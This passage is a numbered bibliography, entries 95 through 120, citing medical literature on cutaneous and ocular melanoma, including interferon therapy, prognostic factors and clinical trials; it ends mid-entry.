95. Cascinelli N., Belli F., Santinami M. Cutaneus melanoma. The role of interferons. — Basle (Switzerland): F.Hoffman-La Roche Ltd // Consultant series.— 1994. — №2. — 67 p.
96. Cascinelli N., Bufalino R., Morabito A. et al. Results of adjuvant interferon study in WHO melanoma programme // Lancet. — 1994. — Vol.343. — P. 913—914.
97. Cascinelli N., Marubini E., Morabito A. et al. Prognostic factor for stage I melanoma of the skin // Statist. Med. — 1985. — №3. — P. 265—278.
98. Chakrabarti D., Hultgren B. et al. INF-a induces autoimmune T cells through the induction of intracellular adhesion molecule-1 and B 7.2 // J. Immunol.— 1996. — Vol.157. — P. 522—528.
99. Chen Y.T., Scanlan M.J., Sahin U., Türeci O., Güre A.O., Tsang S., Williamson B., Stockert E., Pfreundschuh M., Old L.J. A testicular antigen aberrantly expressed in human cancers detected by autologous antibody screening // Proc. Natl. Acad. Sci. USA. — 1997. — Vol.94, №5. — P. 1914—1918.
100. Chen Y.T. Cancer vaccine: identification of human tumor antigens by SEREX // Cancer J. — 2000. — Vol.6, №3. — P. 208—217.
101. Chowdhury S., Vaughan M.M., Gore M.E. New approaches to the systemic treatment of melanoma // Cancer Treatment Rev. — 1999. — Vol.25. — P. 259—270.
102. Clark H.W. A classification of malignant melanoma in man correlated with histogenesis and biological behavior / The Pigmentary System. W. Montagna, F. Hu. eds. — New York: Pergamon Press, 1967. — Р. 621—647.
103. Clark W.M.Jr., Lynn F., Bernardino E. еt al. The histogenesis and biologic behavior of primary human malignant melanomas of the skin // Cancer Res. — 1969. — Vol.29. — P.705—727.
104. Clark W.H.Jr., Elder D.E., Guerry D. et al. Model predicting survival in stage 1 melanoma based on tumor progression // J. Nat. Cancer. Inst. — 1989. — Vol.81. — P. 1893—1904.
105. Coben D., Koopa S., Tiedosch A. New diagnostic techniques in staging in the surgical treatment of cutaneous malignant melanoma // European Jornal of Surgical Oncology. — 2002. — Vol.28, №7. — P. 692—700.
106. Cohen H.J., Cox E., Manton K. et al. Malignant melanoma in the elderly // J. Clin. Oncol. — 1987. — Vol.5, №1. — P. 100—106.
107. Coit D., Rogatko A., Brennan M.F. Prognostic factors in patients with melanoma metastatic to axillary or inguinal lymph nodes. A multivariate analysis //Ann. Surg. — 1991. — Vol.214. — P. 627—636.
108. Cooper J.S., Chang W.S., Oratz R., Shapiro R.L., Roses D.F. Elective radiation therapy for high-risk malignant melanomas // Cancer J. — 2001. — Vol.7, №6. — P. 498—502.
109. Craig L., Slingluff J., Dodge R.K. et al. The annual risk of melanoma progression // Cancer. — 1993. — Vol.70, №7. — P. 1917—1927.
110. Czarnetzki B.M., Macher E., Susio S. et al. Long-term adjuvant immunotherapy in stage 1 high risk malignant melanoma, comparing two BCG preparations versus non-treatment in a randomized multicentre study (EORTC PROTOCOL 18781) // Europ. J. Cancer. — 1993. — Vol.29A. — P. 1237—1242.
111. Diener-West M., Mog C.S., Hawkins B.S. et al. Predictors of participation in a randomized trial:findings from the collaborative ocularmelanoma study // Proc. Annu. Meet. Amer. Soc. Clin. Oncol. — 1995. — Vol.14. — P. 427—430.
112. Donawho C.K., Kripke M.L. // Cancer. Metast. Rev. — 1991. — Vol.10, №2. — P. 177—188.
113. Dong X.D., Tyler D., Johnson J.L. Analysis of prognosis and disease progression after local recurrence of melanoma // Cancer. — 2000. — Vol.88, №5.— P. 1063—1071.
114. Doveil G.C., Colohna S.M., Massobrio R. et al. Influence of disease-free interval lenghh and stage at first recurrence on survival in melanoma patients // Second International Conference on melanoma. — Venice, 1989. — P. 145.
115. Dummer R., Gure M.E., Hancock B.W. et al. A multicenter phase II clinical trial using dacarbazine and continuous infusion interleukin-2 for metastatic melanoma: clinical data and immunomonitoring // Cancer. — 1995. — Vol.75. — P. 1038—1044.
116. Duncan L.M, Deeds J., Cronin F.E. et al. Melastatin expression and prognosis in cutaneous malignant melanoma // J. Clin. Oncol. — 2001. — Vol.19, №2. — P. 568—576.
117. Eberhard P. Problems of melanomas on common acquired nevi //Pediat. Pol. — 1986. — Vol.61, №8. — P. 491—499.
118. Einhorh L.H., Burgess M.A., Gottlieb G.A. Metastatic patterns of choroidal melanoma // Cancer. — 1974. — Vol.34, №4. — P. 1001—1004.
119. Elder D.E., Geene M.H., Bondi E.E., Clark W.H. Acquired melanocytic nevi and melanoma. The dysplastic nevus syndrome // Pathology of malignantmelanoma / Ed. A.B. Ackerman. — New York: Passon publ., 1981. — P. 185—215.
120. Eggermont A.M.M. Strategy of the EORTC-MCG trial programme for adjuvant treatment of moderate-risk and high-risk melanoma // Europ. J. Cancer.&m